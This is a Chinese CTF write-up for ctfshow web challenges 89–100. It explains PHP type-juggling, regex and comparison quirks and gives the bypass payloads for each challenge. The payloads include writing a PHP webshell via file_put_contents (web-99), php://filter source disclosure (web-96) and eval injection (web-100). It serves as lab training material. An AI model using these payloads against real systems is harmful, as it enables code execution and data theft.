ctfshow-web-89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
题目逻辑是传入num,并且用preg_match匹配,如果有数字则输出"no no no!"并退出脚本.
否则进行下一步,如果intval返回真,则输出flag.
preg_match不能处理数组而不会进行正则匹配,并且intval处理数组返回真
payload:num[]= 或num[]=任意
ctfshow-web-90
intval()函数、强比较
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题需要传入num的值不等于4476,并且用num本身的进制把num换成十进制,值为4476.
强比较
在php中,三个等号“===”是全等比较运算符,用于比较两个操作数的值是否相等,同时检测它们的类型是否相同;只有两边的值和数据类型都相等时,运算结果才是TRUE。
![](https://img-blog.csdnimg.cn/img_convert/1832bd3da8706257f54d5bee45520624.png)
payload:
?num=4476.0,//小数点
?num=+4476.0,//正负号
?num=010574,//4476的8进制
?num=010574,//8进制+空格
?num=0x117c,//4476的16进制
?num=4476e0,//科学计数法
?num=4476ppp,//intval()中如果$base=0,则$var中存在字母的话遇到字母就会停止读取,传入4476a会将后面的a丢弃
ctfshow-web-91
preg_match正则表达式匹配
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
^php$/im中
^php$ :意思是只能是php,
i:标记这是一个大小写不敏感的搜索,不区分大小写
m:多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
满足第一个匹配并且不满足第二个匹配payload:
?cmd=%0aphp
ctfshow-web-92
和90题一样payload:
?num=0x117c
ctfshow-web-93
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
多过滤了字母,可以用八进制.
payload:
?num=010574
ctfshow-web-94
strpos() 函数
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
if(!strpos($num, "0"))增加了这个if语句
strpos(string,find,start)
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。
也就是传入的num中的0必须不在首位,如果在首位!strpos($num, "0")=1就会执行if
payload:
?num= 010574
?num=4476.0
?num=+010574
ctfshow-web-95
把点过滤了,不过还是能在前面加空格、换行或者加减号.
?num= 010574
?num=%0a010574
?num=+010574
ctfshow-web-96
文件路径
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
在linux下面表示当前目录是 "./" " . ./"代表上一层目录 “/”:代表根目录.
payload:
./flag.php 相对路径
/var/www/html/flag.php 绝对路径
php://filter/resource=flag.php php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
ctfshow-web-97
MD5值比较绕过
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
md5()函数处理数组不会报错,结果还会返回null,在强比较里面null=null为 True 绕过。
payload:
a[]=1&b[]=2
ctfshow-web-98
php三元运算符
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
三元运算符语法:条件 ? 结果1 : 结果2说明:问号前面的位置是判断的条件,如果满足条件时结果1,不满足时结果2。
php三元运算符与if的详解
$_GET?$_GET=&$_POST:'flag' 如果存在GET请求,则用POST请求传入的值将其覆盖掉.
代码解释就是:
if(isset($_GET)){
$_GET=&$_POST;
}else{
'flag';
}
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__ GET传入的HTTP_FLAG的值为flag,则输出flag.
所以POST:HTTP_FLAG=flag;GET随便传什么都行.
ctfshow-web-99
highlight_file(__FILE__);
$allow = array(); //设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
函数in_array()第三个参数
is_array()可以判断一个值是否在数组中。 is_array()函数
in_array(value,array,type) value :要搜索的值
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认)
file_put_contents() 函数把一个字符串写入文件中。file_put_contents() 函数
语法:
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
filename: 必需。规定要写入数据的文件。 如果文件不存在,则创建一个新文件。 data: 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
GET传入n=1.php
这题file_put_contents() 函数没有设置第三个参数,所以1.php和数字1比较时,1.php会转化为1再和1比较, 满足条件.
接着POST:content=<?php system("ls");?> 传入php代码到1.php中,然后访问1.php发现flag
![](https://img-blog.csdnimg.cn/img_convert/d5bc019cb602f71535a65ef7d5bf532f.png)
查看flag,POST:content=<?php system("tac flag36d.php");?>
ctfshow-web-100
php运算符优先级
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
运算符优先级:
&& > || > = > and > or
$p = 6 or 0;
var_dump($p);//int(6)
$p = 6 || 0;
var_dump($p);//bool(true)
$p = 6 and 0;
var_dump($p); //int(6)
$p = 6 && 0;
var_dump($p); //bool(false)
因为赋值运算的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值。
所以v0就等于is_numeric($v1)
v2不能有分号,v3必须有分号,可以直接命令执行,再把中间的('ctfshow')注释掉.
payload:?v1=21&v2=show_source ("ctfshow.php")/*&v3=*/;
或者:
payload:?v1=1&v2=eval($_POST[1])?>&v3=;